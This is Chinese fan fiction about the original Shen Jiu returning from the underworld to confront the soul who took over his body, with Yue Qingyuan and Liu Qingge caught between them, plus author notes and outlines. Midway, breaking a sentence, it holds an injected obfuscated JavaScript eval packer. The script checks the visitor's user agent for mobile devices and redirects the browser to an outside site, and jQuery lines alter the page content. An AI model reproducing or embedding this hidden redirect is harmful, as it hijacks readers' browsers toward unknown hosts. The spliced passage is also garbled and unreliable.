一个因本就不想活,打算最后潇洒、拼命一回; 两个人,叠加起来,威力何止是双倍? 或许他们之间有隔阂,有矛盾,有互相之间的忌惮与厌恶。 但, 此时此刻, 他们两个的目标, 都是弄死洛冰河! 毕竟。洛冰河的存在太超标了。 而且,现在唯一能控制洛冰河的,也只有占用了沈九躯体的沈恒。 如果沈恒失去了“苍穹山派”的束缚…… 和洛冰河一起回去魔界…… 那修真界,当真危矣!!! —— 别看柳清歌是武痴,他不是白痴!这种关乎整个修真界、人界存亡的时候,完全不会犯傻的好吧! 要么,就让沈九消失,当成从来没来过,一切还和之前一样,虚假的平稳。 要么,干脆弄死洛冰河,让魔界群龙无首,以柳清歌的武力去镇压当世宵小! ——碎碎念—— 后续是柳清歌+沈九和冰妹的对打。 但是很不巧,我不是很会写打斗场面。 啊,好像大部分女频都不太会写打斗场面——毕竟我们的战斗经验极其稀少。 所以,后续的打斗,我会尽量写一下…… 但是大概率不太多,哈哈…… —————— (六)岳七选择拦住沈垣,灭杀冰妹 一个洛冰河已经很强了!是苍穹山派打包加一起都打不过的存在。 否则,修真界的命运真的要风雨飘零,寄予沈恒信念一线了! 沈九最后深深的看了岳清源一眼,转身离开。 ——正文—— 沈劳斯很想帮冰妹。 但是他手上的修雅不那么想。 身边的…… 岳清源,也在隐隐挡住沈劳斯向前的路。 毕竟。 岳清源。不仅是岳清源。 他还是小九的七哥。 还是苍穹山派的掌门。 无论是于情于理。 他,都不能,放沈劳斯过去。 一个洛冰河已经很强了! 是苍穹山派打包加一起都打不过的存在。 如果沈恒再过去。 甭管是敌是友, 都会被当成敌人。 而且,刚才好不容易“谈妥”的条件与平衡, 会瞬间化为乌有,直接白搭! 这种时候,甭管两沈对上、岳清源想帮沈九还是沈恒, 此时此刻,都不可能让沈恒与洛冰河汇合! 否则,修真界的命运真的要风雨飘零,寄予沈恒信念一线了! 修真界,赌不起! —— “掌门师兄,你信我,我会带走洛冰河的。” 沈劳斯焦急的看着对面的打斗,一边努力压制暴动的修雅,一边想办法“说通”挡路的岳清源:''该死的,主角的嘴炮不是万能的吗!为什么我说了半天还不行?'' “沈恒师弟,”岳清源挂起平和、慈爱的长辈笑容,悠悠打着太极: “沈恒师弟不必紧张,清秋师弟和柳师弟只是在和洛冰河切磋一二。毕竟几人许久未见,当是非常想念。” “掌门师兄,我就直说了吧!”沈恒看着油盐不进的岳清源,孤注一掷道: “洛冰河是天魔血脉,天魔之血不死不灭。这个您知道吧?他的父亲是上一任魔族至尊天琅君,之前被镇压在白露山许久,想必您还有印象?” “哦?”岳清源一脸震惊的样子,对着沈恒慈爱道: “那沈恒师弟就更不用担心了,既然洛冰河死不了,还有什么好担心的呢?” “你!”沈恒内心气结,又压下性子和岳清源讲道理: “现在他们刚打起来,我过去还能压制洛冰河,让他收敛一些。在打会,洛冰河发起疯来,若是伤了沈清秋师兄或者柳清歌师弟,岂不可惜?” 还有一点沈恒没说,他怕冰妹受伤啊!那么柔软可爱,由于自己介入而长的乖巧懂事的冰妹,他怎么舍得让他受伤! 但是这一点是绝对不能说的。尤其是,不能在这三个人面前说。 ———— 嗯。大概是天道的偏心也是有限度的。 也可能是世界的承受力度是有限的。 在沈九和柳清歌的联手之下,洛冰河被打败了。 当然,洛冰河是不可能接受这个事实的。 外加上,洛冰河心有瑕疵,不能很好的驾驭心魔剑。 所以,洛冰河被心魔剑反向操控、夺取灵魂了。 而沈九,早在之前因透支灵魂,身影透明的如同风中残烛。 沈九最后深深的看了岳清源一眼,转身离开。不让岳清源知道自己的结局,也,不想与他在地府相见。 沈九或许对不起洛冰河,但是他对得起修真界。 或许沈恒能一直控制住洛冰河,但是沈九不信他。 未来的命运,怎么能交给一个“陌生人”呢。 如果有机会影响未来,自然是要—— 弄死一切危险,防范于未然。 所以,沈九从来不会觉得自己有错。他有什么错呢,只不过是成王败寇。 他在自己的世界和冰哥对上,落败,所以被囚禁,被折磨。 在这个世界,和柳清歌联手,打败冰妹,所以成功“消除”隐患,虽然付出魂飞魄散的代价,但是修真界,安全无虞。 如此,就足够了。 至于其他的,什么因结什么果,接受现实,就行了。 —————— —————— 一开始的大纲 首先,沈九是从地府跑掉的,因为岳清源比他先死,还守在地府忘川河等他。 (这个很正常吧?岳清源最后是为了沈九万箭穿心而死的,执念太深,不愿意喝汤渡桥,想在地府等他的''小九'') 然后呢,假设地府沟通三千世界,沈九跑到了沈劳斯所在地''渣反''世界,相当于是 狂傲结局版沈清秋VS渣反结局版沈清秋 会不会超级带感? emmm,这个作者写过哈…… 不过嘛,我突然有了个新的脑洞,就……狗尾续貂一下。 ——分界线—— 当沈九在路边听到悠扬的《春山恨》的时候,他还八卦了一下,觉得作曲人有点才华,竟能将如此凄惨的爱情讲得这么“辗转反侧”: 又是从小陪伴,又是以命抵怨,两个人经历了生生死死、恩怨情仇,还曾灭门毁派,争夺''前任''尸身,最后终于冰释前嫌,携手未来。 只不过……“春山好风景,美不过清秋君”,这个“清秋君”,实在是令人厌恶。 任谁听到自己用了许多年的名字,成了话本里“广为流传”的爱情故事中的同名男性,多多少少有点……膈应。 更何况吧,大家的想法都是很狂野的,不仅写两人怎么''浪荡'',甚至那个名叫“清秋”的男人,甚至还能生子??? 简直刷新了沈九的三观…… 更,让他莫名觉得脸很害臊! 最离谱的是……这tm,竟然还跟苍穹山派有关??? 岳清源呢?死了吗? 哦,故事说,连柳清歌都活着…… 这个世界,恐怕是某个镜像翻转的秘境吧。。 哎,关于柳清歌……沈九是有点愧疚的。自己好不容易发次善心,结果鬼知道,走火入魔的人,不仅理智全失、功力大增,还能突然间灵气休滞,全身毫无抵挡,被他一剑封喉…… 算了,既然都到了新的地方,不如……去看看故人吧。 就当是,魂飞魄散前的,最后一个愿望吧。 ———— 没错,沈九是从地府偷溜出来的。现在,不仅那个世界的岳七在找他,甚至黑白无常、当天轮岗的鬼差也在找他。 沈九来回躲闪的时候,意外踏入时空裂缝,来到了这个……结局看起来还算不错的世界。 嗯,还正巧,遇见一个瞎了眼的老道士拦路,送了自己一把黑伞栖身,让自己能于这个世界存活三天。 至于三天后……谁知道呢? 反正是江湖骗子,还是得道高人,都与他无关。 得益于未成清静峰峰主的时候,数次不爽就下山采''风'',对于上山路上如何避开旁人,沈九很有心得。 很快,清静峰,近在眼前。 只是吧。 沈九用树遮挡自己的身影,看着面前勾勾搭搭的狗男男,以及……旁边装作什么也没看见的某人。 突然有了个……可怕的猜想! 传言中…… 苍穹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075130|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山派通魔族…… 清静峰沈清秋和魔界之主洛冰河搞一起了…… 柳清歌没死,但……被洛冰河打压的……很惨…… 岳清源……为了澄清''苍穹山派通魔''的传言几乎要和沈清秋断绝关系…… 沈清秋还有个癖好……喜欢喝洛冰河的血?! 这些……即使''沈清秋''和''清秋君''极为相像……沈九都强行让自己不去联想…… mmp!!!怪不得啊!怪不得山下传言都成那样了,苍穹山派却压根没人压留言,敢情人家说的都是实情啊?! ———— 沈九气的浑身发抖,不小心后退一步、露了行踪,被远处''走''来的柳清歌一剑刺来:“谁?鬼鬼祟祟!” 沈九用黑伞挡开来剑,却见到对面疑惑的表情:“沈清秋?你躲树后面干什么?今天怎么不着青衣,改穿黑衣了?” “柳清歌?你果真还活着。”沈九看见来人,忍不住脱口而出道。原以为是传言,没想到他在这个世界,真的没有死于灵犀洞。 “啊?什么黑衣啊?我今天没换衣服啊?” 另一边,同样的声音传来。同时并几人的走路声。 “挖槽!原装货!”''沈清秋''失口脱出。 “?”一脸懵逼的柳清歌,看着两个一模一样、除了衣服不同的人,陷入沉思。 “呵,”沈九冷哼,“原,装,货?” 沈九还在好奇,以自己的性子,怎么可能达成如此''完美''的结局……原来,是夺舍啊…… 而且夺舍者也不是很聪明、有用力遮掩的样子…… 这是,压根没人发现所以不装了,还是发现自己早就死亡所以破罐子破摔? 这之前,沈九的想法还是“这是两个世界,自己是时空的旅客,过来见识一下完美结局” 现在……却忍不住,想质问,想打一架了。 ———— 岳清源、柳清歌,我们也算是从十多岁就在一起修炼,情如手足吧?你们,就没发现眼前这个人有问题? 这个人什么时候来的?什么时候跟那个畜生搞一起的?什么时候性情大变到讨人喜?? 你们不会没想过面前这个人性情大变是什么原因吧? 还是说,你们试探了一下,发现面前这个人对你们而言,比原先那个讨人厌的沈清秋好太多。 所以你们就听而认知,你完全不会去想,之前的那个人到底去了哪里?是否被人所害? ——可能有的人警惕性比较强,还会想想他对自己有没有危害。 但是查明对自己完全无害后,就完全不在乎这件事情了,就好像他一直是这样子的,甚至说,对他自己而言,这反而是好事。 是吧,毕竟之前的沈清秋面上装的清风朗月,心里面却小肚鸡肠的,让你们得多思多言。 但眼前这个就完全不一样了,他的脑子简单的一眼就能看透。而且为人处事又那么的风趣,大家相处的都很快乐嘛。 所以说你们就默认了,让这个人夺舍于我。 是吧? 岳清源!你知道在我的世界里的结局吗?我被这个孽畜囚禁后,你悄悄的过来看我,被我狠狠的骂走了。可是后面洛冰河用我的一双腿,诱你前来。于是你死于万箭穿心! 柳清歌!你在灵溪洞里走火入魔。我好心上去帮你,结果打不过你,当你向我冲来的时候,我忍不住用修雅剑抵挡,你却突然灵气堵塞,被我一剑穿心而死。 你们两个。都死的极惨。 还都是被我所连累的。 说实话,看到你俩现在活生生的活着,我是很,很心动的。 虽然我小肚鸡肠。虽然我经常暗地里躲着你俩,有些口舌之争。但我却并不真的希望你们死。 真的。你们还活着,挺好的。 你们知道我从哪里来吗? 是呀,被人夺舍了身体。 我现在既不是人修,也不是魔修。而是鬼修啊。哈哈! 我是从阴曹地府里爬上来。专门来找洛冰河那个畜生,讨债的! 怪不得我见到他第一时间就想弄死他。原来他真的会在未来的某一天,让我求死不能啊。 你们知道他是怎么做的吗?其实也没什么。无非就是对待战败者的一些刑罚,外加砍去四肢,然后用天魔之血折磨罢了。 成王败寇而已。只不过没有一剑杀了那么干脆,想要敌人受尽折磨而已。 —— 我专门从阴曹地府里逃出来,却没想了,遇见了这个夺舍者。 看样子,他过得很好。大家相处的也不赖。果然,换个人,大家都很开心嘛! 他用着我的身体,和我最恨的人谈情说爱、极度纠缠。看看他身上的吻痕啊,我都为我的身体感到羞耻! 而你们。 尤其是你,岳清源! 我以为你会发现不同的。我以为你多多少少会探究一下的。我以为你在发现不同之后,会招个魂或者远离这个人的。 没想到,是我自作多情了。 我都开始怀疑。曾经你当乞丐的时候,你所关心的从来都不是我,而是你的“弟弟妹妹”;你当掌门的时候,关心的也不是我,而是掌握你童年、和你拥有过往记忆的“师兄弟”。 所以这就很好理解了。 你不在乎这个身体躯壳里是谁,一直在乎他所承受的身份。 只要他是''沈清秋'',就够了。 说我虚伪。我看你比我更虚伪。 甚至你的虚伪,把你自己都骗过了。 你这样的人啊。真适合当名门正派。 而我,是学不会了。 看见我手里这把黑伞了吗?我灵魂就养在这里,只要毁掉他,我就会立刻魂飞魄散。 鬼修嘛,灵魂体嘛,就是这么脆弱。 所以。你选择的是帮你这个''沈师弟''的躯壳。还是帮你这个''沈师弟''的灵魂? 还有你啊,柳清歌。 你是想要帮与你有着童年过往之宜的''沈清秋'',还是想要帮改过自新的、与你这么多年情谊的''沈清秋''呢? 毕竟与你有着童年过往的,是个讨人厌的家伙。甚至他还因自己的好心,将你的命都葬送了。 而眼前这个呢?他虽然与你没有童年的过往,虽然他没有自己的身体,要夺舍其他人;可是他救了你呀~ 以你知恩图报,滴水之恩、涌泉相报的性子。 你想怎么做呢? ———— 沈九突然陷入了心魔之中,曾经那些难以说出口的、藏着掖着的脆弱与不堪,都化为锋利的言论,扎向眼前的两人。 是啊,一个是''友善合群''沈清秋''的身体,一个是''阴狠小人''沈清秋''的灵魂。 这两个人,要怎么选呢? 其实,就在沈九说着两人结局的时候,岳清源和柳清歌就信了,承认他,是十五年前、那个洛冰河刚入门的时候,肆意责打辱骂的,表面君子——沈清秋啊。 可是,那又能怎么样呢? 哭樱樱的,跟他说,没事的,你的身体还活的好好的,没有受苦? 还是要告诉他,我们会为了你这个''曾经的师兄弟'',赶走现在占据你身体的……那个友善、稳定人魔两界,将洛冰河养成黏人精的''沈清秋''? 还是……告诉他,''你受苦了'',那些不好的过往都忘记吧。 可是,凭什么呢? 凭什么一个受了那么多委屈,又作为人彘凄苦惨死的原主,要去原谅占用了自己身体,现在还''其乐融融''的……夺舍者呢? 更何况,''原谅'',本该由主人来说,而不是旁人假惺惺的道德绑架! 可是……现在占据身体的''沈清秋'',如果他不是故意害死沈九的,他算不算某种意义上的,“改变结局,拯救大家”呢? 只不过啊……被牺牲的那个人,是沈九罢了。 大义凛然的话语,谁都会说。 道貌岸然的举动,更是容易。 但是,若被牺牲的,受尽苦难的那个人,是你呢? 少数服从多数,可是,若你是少数者呢? 为修仙界奉献一切,只需要损失一个人……的灵魂。 可是,被牺牲的那个人,他发出的愤恨声音,就该被无视吗? ———— 现在。 从地狱里爬出来的沈九。 出来,找''沈清秋''复仇了。 岳清源, 柳清歌, 该不该拦? 又该拦谁,护谁? 这两个人,很明显是一定要打,要分出胜负的。 所以,帮谁? 而且,沈九明确表示,他的灵魂寄养在伞中……早就……不容于世了啊。 拥有着悲惨结局的沈九, 被人夺了躯壳,跻身于伞中, 现在,要抢回''身体'',找夺舍者报复。 貌似,很合理? ———— 但是修真界怎么办?! 沈九明确说明,而且之前发生的事情也明显表明: 洛冰河,是真的拥有毁天灭地,绝了修真界的能力的! 如果两人选择漠视…… ''沈清秋''绝对打不过沈九! 洛冰河一定会出手。 虽然胜负难料, 可柳清歌是完全打不过洛冰河的; 沈九的结局里,沈九也是打不过洛冰河的; 并且。修真界,被毁掉—— 苍穹山派又一次成为仙魔战场, 是,立刻就会发生的事情! 所以啊。 对不起了,小九。 修真界,需要能控制洛冰河的''沈清秋''! 为了大义。 你,又一次,被抛弃了…… 沈垣与沈九互骂 预警:如果沈九遇见沈垣,两人对骂。 九骂垣夺舍于人,连真实名字都不敢告诉其他人,顶着‘沈清秋’的脸与身份虚伪生活,却还要没事踩自己一脚。 垣骂九努力半辈子,却还是将人生搞的一团乱麻,若不是他介入,所有人都会死于非命。 九不屑一顾‘我的人生自己做主,我又没求你救世,还不是你强行将我夺舍。顶着别人的一切,用着别人的喜好与厌恶,不比我更憋屈’ 垣杀人诛心‘可是你确实将一切搞砸,其他人也并没有谁愿意寻你回来,你就是个不配被爱的废物!’ 谎言不会伤人,真相才是利刃。 两人的话语都是那么尖锐、且直达本心。处处向对方的心口戳去。 可最终,沈垣就算受伤也有冰妹护着,沈九唯有自己——也只有自己。所以九最后的结局,要么强硬的打杀一切,要么沉郁的灵魂永寂。 九一直是美强惨的代表啊…… 九的一切周遭,都在向他表明‘你不配被爱’,而他周围的一切,都在伸着手,希望将他拉下深渊。 所有东西都是如此,缺爱的总会没有爱;而得到爱意的,却又有恃无恐、肆意挥霍。 ——正文—— 一个偶然的机会,沈垣发现了身体里的另一个灵魂。 若是他没有精神分裂的话,这个灵魂毫无意外的,是原主——沈清秋,沈九。 沈九。 那个〈狂傲仙魔途〉的原主,没事就喜欢打压洛冰河,折腾洛冰河,欺负责骂洛冰河,最后还一脚将人踹下无间深渊的,真正的恶劣师尊。 若说他嫉妒成性、小肚鸡肠,绝对不算亏了他。 可最让人不能理解的,是为什么他不杀死洛冰河之后,再将人抛尸荒野。所有的起点男主都知道,斩草不除根、春风吹又生,土生土长的沈九,不可能不知道这个道理,却为何——还是放过了对方 但如果沈九对洛冰河有那么一丝半点的柔软存在,却为何在沦为阶下囚的时候,不多多少少提上几嘴,即便是不能换得出逃,起码少受些罪责,也是好的。 虽然这样有欺骗的可能性存在,但善意的谎言,终究是出于好意,其他人总能理解的。 就像是他明明是希望救人才去接近柳清歌,虽然好心办坏事,但一声不吭的任其他人恶意揣测、抗下所有责罚,未免实在有些……不善表达了吧 —— 沈九清醒的时候,突然发现对方好像在观察他。熟悉的面容上带着自己绝对不可能存在的温和笑意,眼眸满是好奇的打量,深处却只有平和。 这样的坦然与平淡,是沈九虽心心念念,却绝无可能存在的。 这段日子里虽然他很少得知外界的消息,但半梦半醒之间,还是多多少少知晓一二。 故而—— 他清楚的知道,正是这个‘外来夺舍者’,操控了他的身体,作出了诸多与他截然不同的选择,继而——令修真界与魔界,没有合并。 他该感谢对方吗感谢他保全了自己想要保护的人,即便那些人不可能领情,但他还是会遵循本心的想要护着他们。 可是,对方又是真真切切的‘入侵者’,不仅将‘他’与弟子乱.伦的事情搞的满世界皆知,还将他的声名败坏的一塌糊涂。 尤其是—— 对方本可以随时制造新的躯体,将本就属于‘沈九’的东西,还给他的。 沈九是个恩怨分明的人。 同时也是个极为纠结、精神经常内耗的人。 他一方面感激对方保下一切,一方面又厌恶对方打破了自己的生活习惯,令他成为见不得人的存在。 当然—— 现在的他,大概除了身体里的另一个灵魂(沈垣),也没人能看见。 —— “我真的很好奇,你为什么非要打压洛冰河既然最后失败了,又为什么不换种方式” 沈垣终于问出了长久以来的疑惑,在他看来,若不是沈九自己疯狂作死,又在牢里依旧嘴硬恶劣,应该不至于沦落到那种地步。 “本尊做事与你何干何处来的孤魂野鬼敢占据本尊躯体,倒还有脸询问本尊” “……” 这样张嘴就骂的性子,怪不得甭管是冰哥还是冰妹,都要被他逼成暴怒狂…… 沈垣的生活一直很平和,无论是现代的混吃等死富二代,还是修真界果断选择抱冰妹大腿,除了在地里长着那几年有些无聊,其他整体都是舒坦的。 所以他不能理解沈九的满身是刺,更不明白他简简单单的一句问询怎么就惹了对方不快,需要让对方这样尖锐的言辞为刀。 而对于沈九来说,这个外来者与柳清歌一样讨厌,都是属于吃尽红利之后,对其他努力打拼之人嗤之以鼻,接着站着说话不腰疼的‘直言不讳’。 只是柳清歌的言论更多是出于无需耗费心神于其他,故而专心练剑,一心修炼的一视同仁蔑视:‘你们心思太乱,自然练不出东西;你们半路出家、根基薄弱,自然招式不稳。’ 而眼前之人,却是得了便宜还卖乖,明明行了强盗之举却还要装可怜:‘你为什么要争要抢呢,是旁人不会给你主动送到手里吗你为什么不付出善意呢,是没有得到回报吗’ 阴阳怪气,好一股碧螺春! 沈垣被冷刺后脸色肉眼可见的不满,言语之间带上冰渣: “既然你醒了,是不是该出去了。” 沈垣的态度极为随意且理所应当,他没有在发现对方的第一时间将人弄死,而是忍受对方一点点恢复,依旧尽了最大限度的帮助,难不成对方还要将他撵出去不成 别忘了,在原主的‘努力’下,修真界可是让他差点翻了个底朝天!苍穹山也尽数灭亡,清静峰更是一片白地。 不过……若是对方愿意说几句好听话,沈垣也不介意让冰妹帮忙寻几株草药,帮助对方重新铸造个身体什么的。也算全了一份因果。 可惜,沈九从来都不是会妥协的性子,哪怕是沈垣好言相劝都不可能退让,更别说这种带刺的话语了。 沈九毫不犹豫的反唇相讥,抓住对方‘夺舍’的强盗行径咬住不放: “你这个强占别人躯体的恶灵才该滚出去!顶着本尊的脸和身躯,甚至连自己的名字都不敢让人知道,成天‘沈清秋’的喊着,就真当是自己的了” “你——”沈垣的脸瞬间白了一瞬,关于这一点,他确实理亏。但那又如何呢,他当‘沈清秋’,远比沈九做的要好,也更受人欢迎! 故而沈垣深吸一口气,尽可能平静的述说事实: “你没事就打压洛冰河,在作死的路上一去不返,更甚至在没将对方杀死的情况下踢对方入深渊。” “最后修真界被灭,岳掌门被你一峰血书万箭穿心、忠心耿耿的大弟子明帆被丢下万毒窟尸骨无存、与你处处不对付的柳清歌死于你手;连宁嘤嘤,都在洛冰河的后宫郁郁寡欢。” “而你本人,不仅没有得到一剑封喉的死亡,甚至还被天魔血操控求生不得求死不能,最后成为人彘之后连生死都混淆,精神崩溃。” “自从我过来后,精心照料洛冰河的身心健康,使他成为修真界最得力的少年天才,更是在最后他欲合并仙魔两界时将其制止,现在修真界依旧稳定,掌门师兄、柳师兄、明帆等弟子都活的开心快乐。” “论‘沈清秋’,我比你称职。” 沈垣的态度明确,论据清楚,除了‘沈九先占用的躯体’,而他‘后来者居上’外,沈垣远比沈九做的好。 只是沈九的思维一贯转的很快,刺人心口的力度只增不减: “是吗即便是本尊带修真界灭世又如何真正行灭世之举的是洛冰河,从来不是‘沈清秋’!” “至于你这个不知从哪来的野鬼,披着本尊的壳子,用着本尊的名头和修为,享受本尊打下的资源,将喜好和言辞腔调修正为本尊的习惯,不知可还记得自己模样” 沈垣说他将一切搞砸,而他替他解决所有烂摊子; 沈九便骂他连自己的名字和喜欢都不敢露出,装到最后也不知究竟是‘沈垣’成为了‘沈清秋’,还是‘沈清秋’同化了‘沈垣’。 只是…… 沈垣祭出最后杀手锏: “可那又如何呢。从来没有人敢在我的面前唧唧歪歪,也无人寻找曾经的‘沈清秋’,大家与我相处融洽,并不喜爱之前孤僻、离群索居的‘沈九’。” “……” 这一点,是沈九无论如何,也没办法辩解的。 他从没有得到过义无反顾、毫不保留的爱意。 即便是消失这么久,躯体被他人占用…… 可是却无一人追寻探查。 岳清源为他送了命,不假。 可岳掌门默认‘沈清秋’的改变,继续与他兄友弟恭,也从不曾说句‘你变化好大’。 明帆为他坚守清静峰到最后一刻,罔顾性命,不假。 可他的地位太低,情绪变化也太快了。他会怀疑‘师尊怎么突然喜欢洛冰河’,却不敢猜测‘师尊已换了人’,继而——也没有动静。 最后发现不对劲的,居然是一直以来毫不对付的柳清歌。 可那又如何呢 柳清歌恩怨分明,所以当他认定‘沈九偷袭与他’后,果断与沈清秋拉开距离,再不接近;也同样的,认定‘沈清秋努力唤醒走火入魔的他’之后,为沈垣各种输送灵力、关心照料。 沈九消失那么久,从无人寻。 而年少沈九,也从未得到过偏爱与保护。 所以—— 沈九他,真的没被爱过,也不会爱人啊。 3. 狂傲九到渣反后期与众人灭杀冰妹 设定:渣反九是真真正正的灵魂破碎,狂傲九顶了他的身份,出现在众人面前,还一副‘记忆停留在被夺舍前’的样子。其次,相比较与狂傲七,渣反七的表现实在是太糟糕了,九虽然想亲近他,但难免会反复失望。 ——正文—— “沈清秋?”柳清歌看着在勾栏外闪过的身影,虽然感到离奇,但还是下意识跟上前去。看着熟悉的身影熟谙的与姑娘们打交道,又转身坐在某个雅座之间,震惊的与对方视线对上。 “柳清歌?”沈九有些头疼。他原本是打算先打听一些消息,却没想到这世界的风气好像很喜欢南风,搞得他坐在听书处实在坐不下去,只好来春来院先听个曲。 柳清歌在沈九记忆里死很久了。 啊,当然,所有人都死很久了。 如果一开始看见的是岳清源或者明帆,沈九或许还有些今夕何夕的心软和触动,但身为早早下线还被沈九亲手杀死的柳清歌,沈九立刻就明白了这是两个世界、他绝不可沉迷的认知。 “你...”柳清歌有些手足无措,不知道该说些什么。沈清秋不是和那个畜生云游了吗?怎么会突然回来?而且还是来勾栏这种早就不来的地方—— 等等? 柳清歌终于明白了哪里不对劲。这个沈清秋,好像比之前更端着,看起来更令人厌恶了! 而这种厌恶,就像是看见了打小就不喜欢、恨不得天天跟他打的死对头! 可是,自从沈清秋将他从灵犀洞中救出后,那种怎么看都不顺眼的感觉,柳清歌好像再也没体会过。而今,怎么又冒出来了?! 柳清歌拿起沈清秋面前的酒壶为自己斟满,又愤恨又担心,就像是看见‘浪子回头’的老母亲似的,那就一个爱恨交织:“你回来做什么。” 心情不好,柳清歌的态度就不好。但若说不好,也只是比较与他跟沈垣的平静温和而已,对以前见面就怼、没事互刺的沈九来说,那真是——语气温柔到见了鬼! 所以柳清歌亲眼看着被激起一身寒颤的沈九猛地拉开距离,折扇一展:“柳清歌你有病啊!”接着一个杯子砸过来: “劳资爱回就回,你百战峰管天管地,还能管住我回不回山?劳资可还没来得及唤美人,别拿那套伤风败俗、有碍修炼的话来哐我!” “.....”柳清歌发誓,他是真的下意识应激、脑子还没反应过来就抽出乘鸾的。而沈九也是下意识折扇扫过,带着风刃划伤柳清歌脸颊的。 “?”沈清秋轻而易举躲开柳清歌平刺的一剑,看着躲不开自己攻击还破了相的某人,无情嘲笑: “柳公子,若是沈某方才瞄准的是你的脖子,怕是‘百战峰峰主死于勾栏’这个消息即刻便会传开。你这名声,啧啧,可是要比沈某的风流要强多了~” “你还知道自己的名声!”柳清歌看着似乎突然间功力大涨、喜欢偷袭的‘沈清秋’,心中疑惑愈深,嘴却比脑子快:“你与魔族厮混的消息满大街都是,究竟置苍穹山脸面于何故?” “柳清歌!你说谁与魔族厮混?!”沈九直接炸毛,‘当啷’一声将修雅抽出来,指着柳清歌的脖子骂:“劳资这一生虽不能说什么错也没有,但从不可能和魔族同流合污!” 边说,沈清秋一剑平削外加一脚踹出:“你就算是想污蔑我,这个谎话未免也太可笑了些!” “你与洛冰河的事情人尽皆知,说什么污蔑!”柳清歌话和动作永远比脑子快,这种针锋相对的情景实在是过于熟悉,即便十多年未曾有过,身体还是下意识出手,将沈清秋压在地上:“跟我回去!” “我不!柳清歌你有本事放开劳资,我们真刀实枪的拼一场!”沈九被柳清歌的突然出手压在桌子上,疯狂的摇晃着柳清歌压在自己肩膀上的胳膊。 他对此世一无所知,只知道‘自己’从洛冰河14岁后性情大变,经过那些中途过程后所有人都存活于世,‘沈清秋’与‘洛冰河’携手恩爱不移。如今他刚到这里,还什么都没来得及打探,怎么能被柳清歌这样带回去? “...”这般情景,实在是—— 连一贯不动脑子的柳清歌,都发现问题了。 “沈,清秋?”柳清歌的嗓音有些发颤,看着极其抗拒,坐下之后连个褶皱都没带出来,唯一的折叠还是自己压出来的人,心中隐约有个不知道该不该说出来的猜想。 “柳清歌你最好祈祷别落在我手里,要不然劳资迟早要杀了你!” “......”他丫的。这个味,真是该死的熟悉啊。 —————— 如果你的家人突然间性情大变,经过试探后没发现问题,大家都默认接受了新的脾气,并且和拥有新性格的那个人交流甚欢。 在某一时刻。那个人,用曾经恶劣的性格,顶着比现在看起来要年轻威严的脸、与格外端正的身姿,重新出现在你面前。 ———— “沈……清秋?”柳清歌并非什么也不懂,只是一般情况下他不愿想太多,更不愿跟自己家人耍心眼闹矛盾。 “柳清歌你最好祈祷别落在我手里,要不然劳资迟早杀了你!”被压在手掌下的人还在努力挣扎,嘴里骂骂咧咧的说着‘早晚要杀了你’。 可—— 你不是,亲自在灵犀洞救了走火入魔的我,还舍身替弟子挡伤,中了无可解之后几乎不怎么出手? 骂骂咧咧、手中再次掐诀欲重新出招,腿脚更是随时准备踹他的,【沈清秋】。看起来就像是曾经记忆里,过于鲜活的存在。 可是‘沈清秋’不是跟洛冰河那个小畜生云游天下,去往魔界了吗? 以那个小畜生的占有欲和纠缠度,完全不像是会容许‘沈清秋’私自出来遛弯,还来勾栏听曲的样子。 而他手底下这个,怎么看都—— 更像是记忆中,那个性情大变前的,‘沈清秋’。 是幻觉?还是假象?亦或是谁布下的陷阱? 虽然柳清歌不喜欢动脑子,但事关家人,这些对敌需要考虑的事情,还是要有些警惕的。 “跟我回去。” 无论他是谁,回到苍穹山,其他人自会判断。如果是再次失忆的‘沈清秋’,他们会替他断绝洛冰河的纠缠;如果是其他人伪装……苍穹山会让他知道什么是‘待客之道’。 柳清歌将底下人拉起来,拽着对方的手腕就走。 “别拉我!” 沈九剧烈反抗,坚决要甩开柳清歌铁块一样的手。不明白柳清歌这玩意怎么突然跟自己离这么近,还主动拉着他走。往常就算是要将他抓回去,也不会亲密到‘拉手腕’啊。 他又不是不会自己走,没必要这样‘拉拉扯扯’的将他拽回去吧! 看着‘沈清秋’嫌弃的样子,柳清歌秒懂对方为什么厌烦。沈清秋厌恶同性接触,更不愿和一堆人同处,除非打架与群殴,要不然恨不得离旁人三步远。 可是,这个‘毛病’,明明在‘性情大变’之后,已经消散很久了。 “不行。”柳清歌仗着力气大,捏着对方纤细的手腕,手中传来对方微凉的温度和不算强劲的脉搏。 “我自己会走!” 沈九完全不习惯和人这么近,更不能接受被人‘拽’着手腕被人围观。尤其是,周遭之人不知为何,看见他和柳清歌‘手牵手’非但不抵触,还一脸兴味的满脸八卦。 这个世界哪里都显得怪异,他们好像对两个男人在一起乐见其成不说,还兴高采烈的窃窃私语。零零碎碎的声音中,甚至还有三人行! 离谱。 可怕。 沈九忍不住打个寒颤。 感受到手中猛然颤抖的人,柳清歌扭头看过去。虽没穿那身标志性的青衣,但是厌恶又闪躲的神情、一言不合就开骂的性格、下意识对身边女子放柔和的态度,都,实在太像了。 虽然这么说不太对。 毕竟‘沈清秋’除了那五年,从来没离开过他们的视线。 可,这个看起来和‘沈清秋’一模一样的人,比那个一同生活的‘沈清秋’,更像很久前的‘沈清秋’! 世间,应该没有这么离谱的事情吧? 是他再次走火入魔后记忆出现了问题,恢复原来的性格;还是有人刻意‘培养’,将这个人送到他们面前? 柳清歌的直觉一惯很准,比起被人培养,柳清歌更倾向于,这个人,是曾经的故人。 但这就会出现悖论。 如果这个人是‘沈清秋’,那么他们身边的‘沈清秋’,又是谁? “这么盯着我干嘛!”沈九满身不舒服的将柳清歌禁锢甩开,大跨步向苍穹山走去。 他已经很久没看见没被毁灭的苍穹山,故地重游,没想到第一个陪着他的人,会是自己世界被他弄死的柳清歌。 柳清歌的‘活下来’,是因为另一个‘沈清秋’介入,还是因为没有‘沈清秋’的介入? 柳清歌之死直接导致沈九失去苍穹山的庇护,现在他活着,‘沈清秋’身后就不单单是清静峰,还有苍穹山。 所以。 